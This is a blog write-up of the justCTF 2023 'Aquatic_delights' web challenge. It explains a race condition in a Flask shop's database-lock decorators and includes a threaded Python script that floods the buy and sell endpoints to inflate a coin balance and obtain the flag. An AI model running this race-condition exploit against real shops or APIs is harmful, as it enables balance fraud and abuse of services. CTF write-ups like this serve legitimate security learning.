[ justCTF2023 ] Aquatic_delights

2023. 6. 8. 20:58·🚩 CTF/2023
./challenge/
β”œβ”€β”€ challenge
β”‚   β”œβ”€β”€ app.py
β”‚   β”œβ”€β”€ poc.py
β”‚   β”œβ”€β”€ poc.sh
β”‚   β”œβ”€β”€ static
β”‚   └── templates
β”‚       └── index.html
β”œβ”€β”€ docker-compose.yml
└── Dockerfile

aquatic_delight.zip
0.64MB

 

version: '3'
services:
  shop:
    build: .
    container_name: aquatic_delights
    ports:
      - "8080:8080"
    environment:
      - FLAG=justCTF{here_should_be_a_flag}
    restart: always

You can see flag in docker-compose.yml.

 

There are only few codes to check out. Let's see app.py code.

def database_connection(func):
    def wrapper(self, *args, **kwargs):
        with sqlite3.connect('/tmp/shop.db') as con:
            if hasattr(self, 'locked') and self.locked:
                return flask.jsonify({'result': 'NG', 'reason': 'Database is locked!'}), 500
            try:
                return func(self, con.cursor(), *args, **kwargs)
            except Database.Error as ex:
                return flask.jsonify({'result': 'NG', 'reason': str(ex)}), 500
            except:
                return flask.abort(500, 'Something went wrong')
            
    return wrapper

def database_lock(func):
    def wrapper(self, *args, **kwargs):
        try:
            self.locked = True
            result = func(self, *args, **kwargs)
        except:
            raise
        finally:
            self.locked = False

        return result
    return wrapper

class Database(object):
    @database_connection
    def __init__(self, cur):
        self.just_coins = 10

        cur.execute("DROP TABLE IF EXISTS shop")
        cur.execute("CREATE TABLE shop(name, price, available)")
        shop_data = [
            ('Catfish', 1, 10),
            ('Rainbow Guppy', 5, 5),
            ('Koi Carp', 20, 3),
            ('Royal Angelfish', 100, 1),
            ('Flagfish', 1337, 1)
        ]
        cur.executemany("INSERT INTO shop(name, price, available) VALUES(?, ?, ?)", shop_data)
        
        cur.execute("DROP TABLE IF EXISTS inventory")
        cur.execute("CREATE TABLE inventory(name, available)")
        cur.executemany("INSERT INTO inventory(name, available) VALUES(?, ?)", 
            [
                (name, 0) for name, _, _ in shop_data
            ]
        )

Before starting service, this chall build database. The part of this code that stands out is "database_lock" function. The purpose of this function is to prevent race condition attacks on the database. When I tested it locally, it actually work appropriately. 

 

There are no logical problems with the rest of the code. At here, I thought this is not about logical bug or using vulnerability problem. No logical bug and no vulnerability exists, then what is the point?

 

[ Point ]

def database_connection(func):
    def wrapper(self, *args, **kwargs):
        with sqlite3.connect('/tmp/shop.db') as con:
            if hasattr(self, 'locked') and self.locked:
                return flask.jsonify({'result': 'NG', 'reason': 'Database is locked!'}), 500
            try:
                return func(self, con.cursor(), *args, **kwargs)
            except Database.Error as ex:
                return flask.jsonify({'result': 'NG', 'reason': str(ex)}), 500
            except:
                return flask.abort(500, 'Something went wrong')
            
    return wrapper

def database_lock(func):
    def wrapper(self, *args, **kwargs):
        try:
            self.locked = True
            result = func(self, *args, **kwargs)
        except:
            raise
        finally:
            self.locked = False

        return result
    return wrapper

We should really focus on this code. A tiny vulnerability(?) exists in there. 

I guess there is a very short term between where it checks for self.locked. We are going to race condition by using this 'short term'. 

 

For example, if I buy 'CatFish' one time and then sell it three times in very short term, I can get more Coins then I bought.

 

+) The exact reason why the race condition happend.

 

Exploit Code

There is a nice code on Internet, so I introduce it.

import requests
from threading import Thread

#host = "http://localhost:8080"
host = "http://lcy5kjz4es4502p3acpac6czn5t4gs.aquatic-sgp1.web.jctf.pro"


def buy(name, amount):
    try:
        return requests.post(
            host + "/api/buy", json={"name": name, "amount": amount}
        ).json()
    except:
        pass


def sell(name, amount):
    try:
        return requests.post(
            host + "/api/sell", json={"name": name, "amount": amount}
        ).json()
    except:
        pass

def main():
    # tune this according to current total coins
    cur = ("Catfish", 10)
    # cur = ("Rainbow Guppy", 3)
    # cur = ("Koi Carp", 8)
    #cur = ("Royal Angelfish", 4)

    def bb():
        r = buy(*cur)
        if r is not None and "justCoins" in r:
            tot = r["justCoins"]
            for name, d in r["data"].items():
                tot += d["price"] * d["eat"]
            print("b", r["justCoins"], tot)

    def ss():
        r = sell(*cur)
        if r is not None and "justCoins" in r:
            tot = r["justCoins"]
            for name, d in r["data"].items():
                tot += d["price"] * d["eat"]
            print("s", r["justCoins"], tot)
            

    while True:
        Thread(target=bb).start()
        Thread(target=ss).start()
        Thread(target=ss).start()
        Thread(target=ss).start()


main()

It took a really long shot, but it worked!

 

Result

Now we can buy flag!

 


[ Note ]

If you can't find logical bug and vulnerability, and service uses database importantly, think about "Race Condition Attack".

μ €μž‘μžν‘œμ‹œ λΉ„μ˜λ¦¬ λ³€κ²½κΈˆμ§€ (μƒˆμ°½μ—΄λ¦Ό)
'🚩 CTF/2023' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€
  • [ zer0pts 2023 ] Neko note
  • [ justCTF 2023 ] Perfect Product
  • gpnCTF 2023 Web Writeup
  • [ justCTF 2023 ] eXtra-Safe-Security-layers
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • λΆ„λ₯˜ 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • πŸ’» Security (5)
      • πŸ–ŒοΈ Theory (22)
        • WEB (9)
        • PWN (13)
      • πŸ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • λΈ”λ‘œκ·Έ 메뉴

    • ν™ˆ
  • 링크

  • 곡지사항

  • 인기 κΈ€

  • νƒœκ·Έ

    cache
    GPNCTF
    Deep learning
    Crypto
    bug report
    TsukuCTF2022
    Ubuntu 기초
    cache poisoning
    Text Summarization
    Ubuntu 기초 μ…‹νŒ…
    python
    justCTF
    sqli
    TFCCTF2022
    Machine Learning
    bug hunter
    RCE
    ubuntu λͺ…λ Ήμ–΄
    pwntools
    Remote Code Execution
  • 졜근 λŒ“κΈ€

  • 졜근 κΈ€

Cronus
[ justCTF2023 ] Aquatic_delights
μƒλ‹¨μœΌλ‘œ

ν‹°μŠ€ν† λ¦¬νˆ΄λ°”